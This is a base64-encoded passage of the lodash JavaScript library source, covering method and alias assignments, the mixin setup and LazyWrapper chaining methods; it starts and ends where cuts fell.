IHppcFdpdGg7XG5cbiAgICAvLyBBZGQgYWxpYXNlcy5cbiAgICBsb2Rhc2guZW50cmllcyA9IHRvUGFpcnM7XG4gICAgbG9kYXNoLmVudHJpZXNJbiA9IHRvUGFpcnNJbjtcbiAgICBsb2Rhc2guZXh0ZW5kID0gYXNzaWduSW47XG4gICAgbG9kYXNoLmV4dGVuZFdpdGggPSBhc3NpZ25JbldpdGg7XG5cbiAgICAvLyBBZGQgbWV0aG9kcyB0byBgbG9kYXNoLnByb3RvdHlwZWAuXG4gICAgbWl4aW4obG9kYXNoLCBsb2Rhc2gpO1xuXG4gICAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0qL1xuXG4gICAgLy8gQWRkIG1ldGhvZHMgdGhhdCByZXR1cm4gdW53cmFwcGVkIHZhbHVlcyBpbiBjaGFpbiBzZXF1ZW5jZXMuXG4gICAgbG9kYXNoLmFkZCA9IGFkZDtcbiAgICBsb2Rhc2guYXR0ZW1wdCA9IGF0dGVtcHQ7XG4gICAgbG9kYXNoLmNhbWVsQ2FzZSA9IGNhbWVsQ2FzZTtcbiAgICBsb2Rhc2guY2FwaXRhbGl6ZSA9IGNhcGl0YWxpemU7XG4gICAgbG9kYXNoLmNlaWwgPSBjZWlsO1xuICAgIGxvZGFzaC5jbGFtcCA9IGNsYW1wO1xuICAgIGxvZGFzaC5jbG9uZSA9IGNsb25lO1xuICAgIGxvZGFzaC5jbG9uZURlZXAgPSBjbG9uZURlZXA7XG4gICAgbG9kYXNoLmNsb25lRGVlcFdpdGggPSBjbG9uZURlZXBXaXRoO1xuICAgIGxvZGFzaC5jbG9uZVdpdGggPSBjbG9uZVdpdGg7XG4gICAgbG9kYXNoLmNvbmZvcm1zVG8gPSBjb25mb3Jtc1RvO1xuICAgIGxvZGFzaC5kZWJ1cnIgPSBkZWJ1cnI7XG4gICAgbG9kYXNoLmRlZmF1bHRUbyA9IGRlZmF1bHRUbztcbiAgICBsb2Rhc2guZGl2aWRlID0gZGl2aWRlO1xuICAgIGxvZGFzaC5lbmRzV2l0aCA9IGVuZHNXaXRoO1xuICAgIGxvZGFzaC5lcSA9IGVxO1xuICAgIGxvZGFzaC5lc2NhcGUgPSBlc2NhcGU7XG4gICAgbG9kYXNoLmVzY2FwZVJlZ0V4cCA9IGVzY2FwZVJlZ0V4cDtcbiAgICBsb2Rhc2guZXZlcnkgPSBldmVyeTtcbiAgICBsb2Rhc2guZmluZCA9IGZpbmQ7XG4gICAgbG9kYXNoLmZpbmRJbmRleCA9IGZpbmRJbmRleDtcbiAgICBsb2Rhc2guZmluZEtleSA9IGZpbmRLZXk7XG4gICAgbG9kYXNoLmZpbmRMYXN0ID0gZmluZExhc3Q7XG4gICAgbG9kYXNoLmZpbmRMYXN0SW5kZXggPSBmaW5kTGFzdEluZGV4O1xuICAgIGxvZGFzaC5maW5kTGFzdEtleSA9IGZpbmRMYXN0S2V5O1xuICAgIGxvZGFzaC5mbG9vciA9IGZsb29yO1xuICAgIGxvZGFzaC5mb3JFYWNoID0gZm9yRWFjaDtcbiAgICBsb2Rhc2guZm9yRWFjaFJpZ2h0ID0gZm9yRWFjaFJpZ2h0O1xuICAgIGxvZGFzaC5mb3JJbiA9IGZvckluO1xuICAgIGxvZGFzaC5mb3JJblJpZ2h0ID0gZm9ySW5SaWdodDtcbiAgICBsb2Rhc2guZm9yT3duID0gZm9yT3duO1xuICAgIGxvZGFzaC5mb3JPd25SaWdodCA9IGZvck93blJpZ2h0O1xuICAgIGxvZGFzaC5nZXQgPSBnZXQ7XG4gICAgbG9kYXNoLmd0ID0gZ3Q7XG4gICAgbG9kYXNoLmd0ZSA9IGd0ZTtcbiAgICBsb2Rhc2guaGFzID0gaGFzO1xuICAgIGxvZGFzaC5oYXNJbiA9IGhhc0luO1xuICAgIGxvZGFzaC5oZWFkID0gaGVhZDtcbiAgICBsb2Rhc2guaWRlbnRpdHkgPSBpZGVudGl0eTtcbiAgICBsb2Rhc2guaW5jbHVkZXMgPSBpbmNsdWRlcztcbiAgICBsb2Rhc2guaW5kZXhPZiA9IGluZGV4T2Y7XG4gICAgbG9kYXNoLmluUmFuZ2UgPSBpblJhbmdlO1xuICAgIGxvZGFzaC5pbnZva2UgPSBpbnZva2U7XG4gICAgbG9kYXNoLmlzQXJndW1lbnRzID0gaXNBcmd1bWVudHM7XG4gICAgbG9kYXNoLmlzQXJyYXkgPSBpc0FycmF5O1xuICAgIGxvZGFzaC5pc0FycmF5QnVmZmVyID0gaXNBcnJheUJ1ZmZlcjtcbiAgICBsb2Rhc2guaXNBcnJheUxpa2UgPSBpc0FycmF5TGlrZTtcbiAgICBsb2Rhc2guaXNBcnJheUxpa2VPYmplY3QgPSBpc0FycmF5TGlrZU9iamVjdDtcbiAgICBsb2Rhc2guaXNCb29sZWFuID0gaXNCb29sZWFuO1xuICAgIGxvZGFzaC5pc0J1ZmZlciA9IGlzQnVmZmVyO1xuICAgIGxvZGFzaC5pc0RhdGUgPSBpc0RhdGU7XG4gICAgbG9kYXNoLmlzRWxlbWVudCA9IGlzRWxlbWVudDtcbiAgICBsb2Rhc2guaXNFbXB0eSA9IGlzRW1wdHk7XG4gICAgbG9kYXNoLmlzRXF1YWwgPSBpc0VxdWFsO1xuICAgIGxvZGFzaC5pc0VxdWFsV2l0aCA9IGlzRXF1YWxXaXRoO1xuICAgIGxvZGFzaC5pc0Vycm9yID0gaXNFcnJvcjtcbiAgICBsb2Rhc2guaXNGaW5pdGUgPSBpc0Zpbml0ZTtcbiAgICBsb2Rhc2guaXNGdW5jdGlvbiA9IGlzRnVuY3Rpb247XG4gICAgbG9kYXNoLmlzSW50ZWdlciA9IGlzSW50ZWdlcjtcbiAgICBsb2Rhc2guaXNMZW5ndGggPSBpc0xlbmd0aDtcbiAgICBsb2Rhc2guaXNNYXAgPSBpc01hcDtcbiAgICBsb2Rhc2guaXNNYXRjaCA9IGlzTWF0Y2g7XG4gICAgbG9kYXNoLmlzTWF0Y2hXaXRoID0gaXNNYXRjaFdpdGg7XG4gICAgbG9kYXNoLmlzTmFOID0gaXNOYU47XG4gICAgbG9kYXNoLmlzTmF0aXZlID0gaXNOYXRpdmU7XG4gICAgbG9kYXNoLmlzTmlsID0gaXNOaWw7XG4gICAgbG9kYXNoLmlzTnVsbCA9IGlzTnVsbDtcbiAgICBsb2Rhc2guaXNOdW1iZXIgPSBpc051bWJlcjtcbiAgICBsb2Rhc2guaXNPYmplY3QgPSBpc09iamVjdDtcbiAgICBsb2Rhc2guaXNPYmplY3RMaWtlID0gaXNPYmplY3RMaWtlO1xuICAgIGxvZGFzaC5pc1BsYWluT2JqZWN0ID0gaXNQbGFpbk9iamVjdDtcbiAgICBsb2Rhc2guaXNSZWdFeHAgPSBpc1JlZ0V4cDtcbiAgICBsb2Rhc2guaXNTYWZlSW50ZWdlciA9IGlzU2FmZUludGVnZXI7XG4gICAgbG9kYXNoLmlzU2V0ID0gaXNTZXQ7XG4gICAgbG9kYXNoLmlzU3RyaW5nID0gaXNTdHJpbmc7XG4gICAgbG9kYXNoLmlzU3ltYm9sID0gaXNTeW1ib2w7XG4gICAgbG9kYXNoLmlzVHlwZWRBcnJheSA9IGlzVHlwZWRBcnJheTtcbiAgICBsb2Rhc2guaXNVbmRlZmluZWQgPSBpc1VuZGVmaW5lZDtcbiAgICBsb2Rhc2guaXNXZWFrTWFwID0gaXNXZWFrTWFwO1xuICAgIGxvZGFzaC5pc1dlYWtTZXQgPSBpc1dlYWtTZXQ7XG4gICAgbG9kYXNoLmpvaW4gPSBqb2luO1xuICAgIGxvZGFzaC5rZWJhYkNhc2UgPSBrZWJhYkNhc2U7XG4gICAgbG9kYXNoLmxhc3QgPSBsYXN0O1xuICAgIGxvZGFzaC5sYXN0SW5kZXhPZiA9IGxhc3RJbmRleE9mO1xuICAgIGxvZGFzaC5sb3dlckNhc2UgPSBsb3dlckNhc2U7XG4gICAgbG9kYXNoLmxvd2VyRmlyc3QgPSBsb3dlckZpcnN0O1xuICAgIGxvZGFzaC5sdCA9IGx0O1xuICAgIGxvZGFzaC5sdGUgPSBsdGU7XG4gICAgbG9kYXNoLm1heCA9IG1heDtcbiAgICBsb2Rhc2gubWF4QnkgPSBtYXhCeTtcbiAgICBsb2Rhc2gubWVhbiA9IG1lYW47XG4gICAgbG9kYXNoLm1lYW5CeSA9IG1lYW5CeTtcbiAgICBsb2Rhc2gubWluID0gbWluO1xuICAgIGxvZGFzaC5taW5CeSA9IG1pbkJ5O1xuICAgIGxvZGFzaC5zdHViQXJyYXkgPSBzdHViQXJyYXk7XG4gICAgbG9kYXNoLnN0dWJGYWxzZSA9IHN0dWJGYWxzZTtcbiAgICBsb2Rhc2guc3R1Yk9iamVjdCA9IHN0dWJPYmplY3Q7XG4gICAgbG9kYXNoLnN0dWJTdHJpbmcgPSBzdHViU3RyaW5nO1xuICAgIGxvZGFzaC5zdHViVHJ1ZSA9IHN0dWJUcnVlO1xuICAgIGxvZGFzaC5tdWx0aXBseSA9IG11bHRpcGx5O1xuICAgIGxvZGFzaC5udGggPSBudGg7XG4gICAgbG9kYXNoLm5vQ29uZmxpY3QgPSBub0NvbmZsaWN0O1xuICAgIGxvZGFzaC5ub29wID0gbm9vcDtcbiAgICBsb2Rhc2gubm93ID0gbm93O1xuICAgIGxvZGFzaC5wYWQgPSBwYWQ7XG4gICAgbG9kYXNoLnBhZEVuZCA9IHBhZEVuZDtcbiAgICBsb2Rhc2gucGFkU3RhcnQgPSBwYWRTdGFydDtcbiAgICBsb2Rhc2gucGFyc2VJbnQgPSBwYXJzZUludDtcbiAgICBsb2Rhc2gucmFuZG9tID0gcmFuZG9tO1xuICAgIGxvZGFzaC5yZWR1Y2UgPSByZWR1Y2U7XG4gICAgbG9kYXNoLnJlZHVjZVJpZ2h0ID0gcmVkdWNlUmlnaHQ7XG4gICAgbG9kYXNoLnJlcGVhdCA9IHJlcGVhdDtcbiAgICBsb2Rhc2gucmVwbGFjZSA9IHJlcGxhY2U7XG4gICAgbG9kYXNoLnJlc3VsdCA9IHJlc3VsdDtcbiAgICBsb2Rhc2gucm91bmQgPSByb3VuZDtcbiAgICBsb2Rhc2gucnVuSW5Db250ZXh0ID0gcnVuSW5Db250ZXh0O1xuICAgIGxvZGFzaC5zYW1wbGUgPSBzYW1wbGU7XG4gICAgbG9kYXNoLnNpemUgPSBzaXplO1xuICAgIGxvZGFzaC5zbmFrZUNhc2UgPSBzbmFrZUNhc2U7XG4gICAgbG9kYXNoLnNvbWUgPSBzb21lO1xuICAgIGxvZGFzaC5zb3J0ZWRJbmRleCA9IHNvcnRlZEluZGV4O1xuICAgIGxvZGFzaC5zb3J0ZWRJbmRleEJ5ID0gc29ydGVkSW5kZXhCeTtcbiAgICBsb2Rhc2guc29ydGVkSW5kZXhPZiA9IHNvcnRlZEluZGV4T2Y7XG4gICAgbG9kYXNoLnNvcnRlZExhc3RJbmRleCA9IHNvcnRlZExhc3RJbmRleDtcbiAgICBsb2Rhc2guc29ydGVkTGFzdEluZGV4QnkgPSBzb3J0ZWRMYXN0SW5kZXhCeTtcbiAgICBsb2Rhc2guc29ydGVkTGFzdEluZGV4T2YgPSBzb3J0ZWRMYXN0SW5kZXhPZjtcbiAgICBsb2Rhc2guc3RhcnRDYXNlID0gc3RhcnRDYXNlO1xuICAgIGxvZGFzaC5zdGFydHNXaXRoID0gc3RhcnRzV2l0aDtcbiAgICBsb2Rhc2guc3VidHJhY3QgPSBzdWJ0cmFjdDtcbiAgICBsb2Rhc2guc3VtID0gc3VtO1xuICAgIGxvZGFzaC5zdW1CeSA9IHN1bUJ5O1xuICAgIGxvZGFzaC50ZW1wbGF0ZSA9IHRlbXBsYXRlO1xuICAgIGxvZGFzaC50aW1lcyA9IHRpbWVzO1xuICAgIGxvZGFzaC50b0Zpbml0ZSA9IHRvRmluaXRlO1xuICAgIGxvZGFzaC50b0ludGVnZXIgPSB0b0ludGVnZXI7XG4gICAgbG9kYXNoLnRvTGVuZ3RoID0gdG9MZW5ndGg7XG4gICAgbG9kYXNoLnRvTG93ZXIgPSB0b0xvd2VyO1xuICAgIGxvZGFzaC50b051bWJlciA9IHRvTnVtYmVyO1xuICAgIGxvZGFzaC50b1NhZmVJbnRlZ2VyID0gdG9TYWZlSW50ZWdlcjtcbiAgICBsb2Rhc2gudG9TdHJpbmcgPSB0b1N0cmluZztcbiAgICBsb2Rhc2gudG9VcHBlciA9IHRvVXBwZXI7XG4gICAgbG9kYXNoLnRyaW0gPSB0cmltO1xuICAgIGxvZGFzaC50cmltRW5kID0gdHJpbUVuZDtcbiAgICBsb2Rhc2gudHJpbVN0YXJ0ID0gdHJpbVN0YXJ0O1xuICAgIGxvZGFzaC50cnVuY2F0ZSA9IHRydW5jYXRlO1xuICAgIGxvZGFzaC51bmVzY2FwZSA9IHVuZXNjYXBlO1xuICAgIGxvZGFzaC51bmlxdWVJZCA9IHVuaXF1ZUlkO1xuICAgIGxvZGFzaC51cHBlckNhc2UgPSB1cHBlckNhc2U7XG4gICAgbG9kYXNoLnVwcGVyRmlyc3QgPSB1cHBlckZpcnN0O1xuXG4gICAgLy8gQWRkIGFsaWFzZXMuXG4gICAgbG9kYXNoLmVhY2ggPSBmb3JFYWNoO1xuICAgIGxvZGFzaC5lYWNoUmlnaHQgPSBmb3JFYWNoUmlnaHQ7XG4gICAgbG9kYXNoLmZpcnN0ID0gaGVhZDtcblxuICAgIG1peGluKGxvZGFzaCwgKGZ1bmN0aW9uKCkge1xuICAgICAgdmFyIHNvdXJjZSA9IHt9O1xuICAgICAgYmFzZUZvck93bihsb2Rhc2gsIGZ1bmN0aW9uKGZ1bmMsIG1ldGhvZE5hbWUpIHtcbiAgICAgICAgaWYgKCFoYXNPd25Qcm9wZXJ0eS5jYWxsKGxvZGFzaC5wcm90b3R5cGUsIG1ldGhvZE5hbWUpKSB7XG4gICAgICAgICAgc291cmNlW21ldGhvZE5hbWVdID0gZnVuYztcbiAgICAgICAgfVxuICAgICAgfSk7XG4gICAgICByZXR1cm4gc291cmNlO1xuICAgIH0oKSksIHsgJ2NoYWluJzogZmFsc2UgfSk7XG5cbiAgICAvKi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgICAvKipcbiAgICAgKiBUaGUgc2VtYW50aWMgdmVyc2lvbiBudW1iZXIuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAdHlwZSB7c3RyaW5nfVxuICAgICAqL1xuICAgIGxvZGFzaC5WRVJTSU9OID0gVkVSU0lPTjtcblxuICAgIC8vIEFzc2lnbiBkZWZhdWx0IHBsYWNlaG9sZGVycy5cbiAgICBhcnJheUVhY2goWydiaW5kJywgJ2JpbmRLZXknLCAnY3VycnknLCAnY3VycnlSaWdodCcsICdwYXJ0aWFsJywgJ3BhcnRpYWxSaWdodCddLCBmdW5jdGlvbihtZXRob2ROYW1lKSB7XG4gICAgICBsb2Rhc2hbbWV0aG9kTmFtZV0ucGxhY2Vob2xkZXIgPSBsb2Rhc2g7XG4gICAgfSk7XG5cbiAgICAvLyBBZGQgYExhenlXcmFwcGVyYCBtZXRob2RzIGZvciBgXy5kcm9wYCBhbmQgYF8udGFrZWAgdmFyaWFudHMuXG4gICAgYXJyYXlFYWNoKFsnZHJvcCcsICd0YWtlJ10sIGZ1bmN0aW9uKG1ldGhvZE5hbWUsIGluZGV4KSB7XG4gICAgICBMYXp5V3JhcHBlci5wcm90b3R5cGVbbWV0aG9kTmFtZV0gPSBmdW5jdGlvbihuKSB7XG4gICAgICAgIG4gPSBuID09PSB1bmRlZmluZWQgPyAxIDogbmF0aXZlTWF4KHRvSW50ZWdlcihuKSwgMCk7XG5cbiAgICAgICAgdmFyIHJlc3VsdCA9ICh0aGlzLl9fZmlsdGVyZWRfXyAmJiAhaW5kZXgpXG4gICAgICAgICAgPyBuZXcgTGF6eVdyYXBwZXIodGhpcylcbiAgICAgICAgICA6IHRoaXMuY2xvbmUoKTtcblxuICAgICAgICBpZiAocmVzdWx0Ll9fZmlsdGVyZWRfXykge1xuICAgICAgICAgIHJlc3VsdC5fX3Rha2VDb3VudF9fID0gbmF0aXZlTWluKG4sIHJlc3VsdC5fX3Rha2VDb3VudF9fKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICByZXN1bHQuX192aWV3c19fLnB1c2goe1xuICAgICAgICAgICAgJ3NpemUnOiBuYXRpdmVNaW4obiwgTUFYX0FSUkFZX0xFTkdUSCksXG4gICAgICAgICAgICAndHlwZSc6IG1ldGhvZE5hbWUgKyAocmVzdWx0Ll9fZGlyX18gPCAwID8gJ1JpZ2h0JyA6ICcnKVxuICAgICAgICAgIH0pO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiByZXN1bHQ7XG4gICAgICB9O1xuXG4gICAgICBMYXp5V3JhcHBlci5wcm90b3R5cGVbbWV0aG9kTmFtZSArICdSaWdodCddID0gZnVuY3Rpb24obikge1xuICAgICAgICByZXR1cm4gdGhpcy5yZXZlcnNlKClbbWV0aG9kTmFtZV0obikucmV2ZXJzZSgpO1xuICAgICAgfTtcbiAgICB9KTtcblxuICAgIC8vIEFkZCBgTGF6eVdyYXBwZXJgIG1ldGhvZHMgdGhhdCBhY2NlcHQgYW4gYGl0ZXJhdGVlYCB2YWx1ZS5cbiAgICBhcnJheUVhY2goWydmaWx0ZXInLCAnbWFwJywgJ3Rha2VXaGlsZSddLCBmdW5jdGlvbihtZXRob2ROYW1lLCBpbmRleCkge1xuICAgICAgdmFyIHR5cGUgPSBpbmRleCArIDEsXG4gICAgICAgICAgaXNGaWx0ZXIgPSB0eXBlID09IExBWllfRklMVEVSX0ZMQUcgfHwgdHlwZSA9PSBMQVpZX1dISUxFX0ZMQUc7XG5cbiAgICAgIExhenlXcmFwcGVyLnByb3RvdHlwZVttZXRob2ROYW1lXSA9IGZ1bmN0aW9uKGl0ZXJhdGVlKSB7XG4gICAgICAgIHZhciByZXN1bHQgPSB0aGlzLmNsb25lKCk7XG4gICAgICAgIHJlc3VsdC5fX2l0ZXJhdGVlc19fLnB1c2goe1xuICAgICAgICAgICdpdGVyYXRlZSc6IGdldEl0ZXJhdGVlKGl0ZXJhdGVlLCAzKSxcbiAgICAgICAgICAndHlwZSc6IHR5cGVcbiAgICAgICAgfSk7XG4gICAgICAgIHJlc3VsdC5fX2ZpbHRlcmVkX18gPSByZXN1bHQuX19maWx0ZXJlZF9fIHx8IGlzRmlsdGVyO1xuICAgICAgICByZXR1cm4gcmVzdWx0O1xuICAgICAgfTtcbiAgICB9KTtcblxuICAgIC8vIEFkZCBgTGF6eVdyYXBwZXJgIG1ldGhvZHMgZm9yIGBfLmhlYWRgIGFuZCBgXy5sYXN0YC5cbiAgICBhcnJheUVhY2goWydoZWFkJywgJ2xhc3QnXSwgZnVuY3Rpb24obWV0aG9kTmFtZSwgaW5kZXgpIHtcbiAgICAgIHZhciB0YWtlTmFtZSA9ICd0YWtlJyArIChpbmRleCA/ICdSaWdodCcgOiAnJyk7XG5cbiAgICAgIExhenlXcmFwcGVyLnByb3RvdHlwZVttZXRob2ROYW1lXSA9IGZ1bmN0aW9uKCkge1xuICAgICAgICByZXR1cm4gdGhpc1t0YWtlTmFtZV0oMSkudmFsdWUoKVswXTtcbiAgICAgIH07XG4gICAgfSk7XG5cbiAgICAvLyBBZGQgYExhenlXcmFwcGVyYCBtZXRob2RzIGZvciBgXy5pbml0aWFsYCBhbmQgYF8udGFpbGAuXG4gICAgYXJyYXlFYWNoKFsnaW5pdGlhbCcsICd0YWlsJ10sIGZ1bmN0aW9uKG1ldGhvZE5hbWUsIGluZGV4KSB7XG4gICAgICB2YXIgZHJvcE5hbWUgPSAnZHJvcCcgKyAoaW5kZXggPyAnJyA6ICdSaWdodCcpO1xuXG4gICAgICBMYXp5V3JhcHBlci5wcm90b3R5cGVbbWV0aG9kTmFtZV0gPSBmdW5jdGlvbigpIHtcbiAgICAgICAgcmV0dXJuIHRoaXMuX19maWx0ZXJlZF9fID8gbmV3IExhenlXcmFwcGVyKHRoaXMpIDogdGhpc1tkcm9wTmFtZV0oMSk7XG4gICAgICB9O1xuICAgIH0pO1xuXG4gICAgTGF6eVdyYXBwZXIucHJvdG90eXBlLmNvbXBhY3QgPSBmdW5jdGlvbigpIHtcbiAgICAgIHJldHVybiB0aGlzLmZpbHRlcihpZGVudGl0eSk7XG4gICAgfTtcblxuICAgIExhenlXcmFwcGVyLnByb3RvdHlwZS5maW5kID0gZnVuY3Rpb24ocHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gdGhpcy5maWx0ZXIocHJlZGljYXRlKS5oZWFkKCk7XG4gICAgfTtcblxuICAgIExhenlXcmFwcGVyLnByb3RvdHlwZS5maW5kTGFzdCA9IGZ1bmN0aW9uKHByZWRpY2F0ZSkge1xuICAgICAgcmV0dXJuIHRoaXMucmV2ZXJzZSgpLmZpbmQocHJlZGljYXRlKTtcbiAgICB9O1xuXG4gICAgTGF6eVdyYXBwZXIucHJvdG90eXBlLmludm9rZU1hcCA9IGJhc2VSZXN0KGZ1bmN0aW9uKHBhdGgsIGFyZ3MpIHtcbiAgICAgIGlmICh0eXBlb2YgcGF0aCA9PSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHJldHVybiBuZXcgTGF6eVdyYXBwZXIodGhpcyk7XG4gICAgICB9XG4gICAgICByZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24odmFsdWUpIHtcbiAgICAgICAgcmV0dXJuIGJhc2VJbnZva2UodmFsdWUsIHBhdGgsIGFyZ3MpO1xuICAgICAgfSk7XG4gICAgfSk7XG5cbiAgICBMYXp5V3JhcHBlci5wcm90b3R5cGUucmVqZWN0ID0gZnVuY3Rpb24ocHJlZGljYXRlKSB7XG4gICAgICByZXR1cm4gdGhpcy5maWx0ZXIobmVnYXRlKGdldEl0ZXJhdGVlKHByZWRpY2F0ZSkpKTtcbiAgICB9O1xuXG4gICAgTGF6eVdyYXBwZXIucHJvdG90eXBlLnNsaWNlID0gZnVuY3Rpb24oc3RhcnQsIGVuZCkge1xuICAgICAgc3RhcnQgPSB0b0ludGVnZXIoc3RhcnQpO1xuXG4gICAgICB2YXIgcmVzdWx0ID0gdGhpcztcbiAgICAgIGlmIChyZXN1bHQuX19maWx0ZXJlZF9fICYmIChzdGFydCA+IDAgfHwgZW5kIDwgMCkpIHtcbiAgICAgICAgcmV0dXJuIG5ldyBMYXp5V3JhcHBlcihyZXN1bHQpO1xuICAgICAgfVxuICAgICAgaWYgKHN0YXJ0IDwgMCkge1xuICAgICAgICByZXN1bHQgPSByZXN1bHQudGFrZVJpZ2h0KC1zdGFydCk7XG4gICAgICB9IGVsc2UgaWYgKHN0YXJ0KSB7XG4gICAgICAgIHJlc3VsdCA9IHJlc3VsdC5kcm9wKHN0YXJ0KTtcbiAgICAgIH1cbiAgICAgIGlmIChlbmQgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICBlbmQgPSB0b0ludGVnZXIoZW5kKTtcbiAgICAgICAgcmVzdWx0ID0gZW5kIDwgMCA/IHJlc3VsdC5kcm9wUmlnaHQoLWVuZCkgOiByZXN1bHQudGFrZShlbmQgLSBzdGFydCk7XG4gICAgICB9XG4gICAgICByZXR1cm4gcmVzdWx0O1xuICAgIH07XG5cbiAgICBMYXp5V3JhcHBlci5wcm90b3R5cGUudGFrZVJpZ2h0V2hpbGUgPSBmdW5jdGlvbihwcmVkaWNhdGUpIHtcbiAgICAgIHJldHVybiB0aGlzLnJldmVyc2UoKS50YWtlV2hpbGUocHJlZGljYXRlKS5yZXZlcnNlKCk7XG4gICAgfTtcblxuICAgIExhenlXcmFwcGVyLnByb3RvdHlwZS50b0FycmF5ID0gZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gdGhpcy50YWtlKE1BWF9BUlJBWV9MRU5HVEgpO1xuICAgIH07XG5cbiAgICAvLyBBZGQgYExhenlXcmFwcGVyYCBtZXRob2RzIHRvIGBsb2Rhc2gucHJvdG90eXBlYC5cbiAgICBiYXNlRm9yT3duKExhenlXcmFwcGVyLnByb3RvdHlwZSwgZnVuY3Rpb24oZnVuYywgbWV0aG9kTmFtZSkge1xuICAgICAgdmFyIGNoZWNrSXRlcmF0ZWUgPSAvXig/OmZpbHRlcnxmaW5kfG1hcHxyZWplY3QpfFdoaWxlJC8udGVzdChtZXRob2ROYW1lKSxcbiAgICAgICAgICBpc1Rha2VyID0gL14oPzpoZWFkfGxhc3QpJC8udGVzdChtZXRob2ROYW1lKSxcbiAgICAgICAgICBsb2Rhc2hGdW5jID0gbG9kYXNoW2lzVGFrZXIgPyAoJ3Rha2UnICsgKG1ldGhvZE5hbWUgPT0gJ2xhc3QnID8gJ1JpZ2h0JyA6ICcnKSkgOiBtZXRob2ROYW1lXSxcbiAgICAgICAgICByZXRVbndyYXBwZWQgPSBpc1Rha2VyIHx8IC9eZmluZC8udGVzdChtZXRob2ROYW1lKTtcblxuICAgICAgaWYgKCFsb2Rhc2hGdW5jKSB7XG4gICAgICAgIHJldHVybjtcbiAgICAgIH1cbiAgICAgIGxvZGFzaC5wcm90b3R5cGVbbWV0aG9kTmFtZV0gPSBmdW5jdGlvbigpIHtcbiAgICAgICAgdmFyIHZhbHVlID0gdGhpcy5fX3dyYXBwZWRfXyxcbiAgICAgICAgICAgIGFyZ3MgPSBpc1Rha2VyID8gWzFdIDogYXJndW1lbnRzLFxuICAgICAgICAgICAgaXNMYXp5ID0gdmFsdWUgaW5zdGFuY2VvZiBMYXp5V3JhcHBlcixcbiAgICAgICAgICAgIGl0ZXJhdGVlID0gYXJnc1swXSxcbiAgICAgICAgICAgIHVzZUxhenkgPSBpc0xhenkgfHwgaXNBcnJheSh2YWx1ZSk7XG5cbiAgICAgICAgdmFyIGludGVyY2VwdG9yID0gZnVuY3Rpb24odmFsdWUpIHtcbiAgICAgICAgICB2YXIgcmVzdWx0ID0gbG9kYXNoRnVuYy5hcHBseShsb2Rhc2gsIGFycmF5UHVzaChbdmFsdWVdLCBhcmdzKSk7XG4gICAgICAgICAgcmV0dXJuIChpc1Rha2VyICYmIGNoYWluQWxsKSA/IHJlc3VsdFswXSA6IHJlc3VsdDtcbiAgICAgICAgfTtcblxuICAgICAgICBpZiAodXNlTGF6eSAmJiBjaGVja0l0ZXJhdGVlICYmIHR5cGVvZiBpdGVyYXRlZSA9PSAnZnVuY3Rpb24nICYmIGl0ZXJhdGVlLmxlbmd0aCAhPSAxKSB7XG4gICAgICAgICAgLy8gQXZvaWQgbGF6eSB1c2UgaWYgdGhlIGl0ZXJhdGVlIGhhcyBhIFwibGVuZ3RoXCIgdmFsdWUgb3RoZXIgdGhhbiBgMWAuXG4gICAgICAgICAgaXNMYXp5ID0gdXNlTGF6eSA9IGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHZhciBjaGFpbkFsbCA9IHRoaXMuX19jaGFpbl9fLFxuICAgICAgICAgICAgaXNIeWJyaWQgPSAhIXRoaXMuX19hY3Rpb25zX18ubGVuZ3RoLFxuICAgICAgICAgICAgaXNVbndyYXBwZWQgPSByZXRVbndyYXBwZWQgJiYgIWNoYWluQWxsLFxuICAgICAgICAgICAgb25seUxhenkgPSBpc0xhenkgJiYgIWlzSHlicmlkO1xuXG4gICAgICAgIGlmICghcmV0VW53cmFwcGVkICYmIHVzZUxhenkpIHtcbiAgICAgICAgICB2YWx1ZSA9IG9ubHlMYXp5ID8gdmFsdWUgOiBuZXcgTGF6eVdyYXBwZXIodGhpcyk7XG4gICAgICAgICAgdmFyIHJlc3VsdCA9IGZ1bmMuYXBwbHkodmFsdWUsIGFyZ3MpO1xuICAgICAgICAgIHJlc3VsdC5fX2FjdGlvbnNfXy5wdXNoKHsgJ2Z1bmMnOiB0aHJ1LCAnYXJncyc6IFtpbnRlcmNlcHRvcl0sICd0aGlzQXJnJzogdW5kZWZpbmVkIH0pO1xuICAgICAgICAgIHJldHVybiBuZXcgTG9kYXNoV3JhcHBlcihyZXN1bHQsIGNoYWluQWxsKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNVbndyYXBwZWQgJiYgb25seUxhenkpIHtcbiAgICAgICAgICByZXR1cm4gZnVuYy5hcHBseSh0aGlzLCBhcmdzKTtcbiAgICAgICAgfVxuICAgICAgICByZXN1bHQgPSB0aGlzLnRocnUoaW50ZXJjZXB0b3IpO1xuICAgICAgICByZXR1cm4gaXNVbndyYXBwZWQgPyAoaXNUYWtlciA/IHJlc3VsdC52YWx1ZSgpWzBdIDogcmVzdWx0LnZhbHVlKCkpIDogcmVzdWx0O1xuICAgICAgfTtcbiAgICB9KTtcblxuICAgIC8vIEFkZCBgQXJyYXlgIG1ldGhvZHMgdG8gYGxvZGFzaC5wcm90b3R5cGVgLlxuICAgIGFycmF5RWFjaChbJ3BvcCcsICdwdXNoJywgJ3NoaWZ0JywgJ3NvcnQnLCAnc3BsaWNlJywgJ3Vuc2hpZnQnXSwgZnVuY3Rpb24obWV0aG9kTmFtZSkge1xuICAgICAgdmFyIGZ1bmMgPSBhcnJheVByb3RvW21ldGhvZE5hbWVdLFxuICAgICAgICAgIGNoYWluTmFtZSA9IC9eKD86cHVzaHxzb3J0fHVuc2hpZnQpJC8udGVzdChtZXRob2ROYW1lKSA/ICd0YXAnIDogJ3RocnUnLFxuICAgICAgICAgIHJldFVud3JhcHBlZCA9IC9eKD86cG9wfHNoaW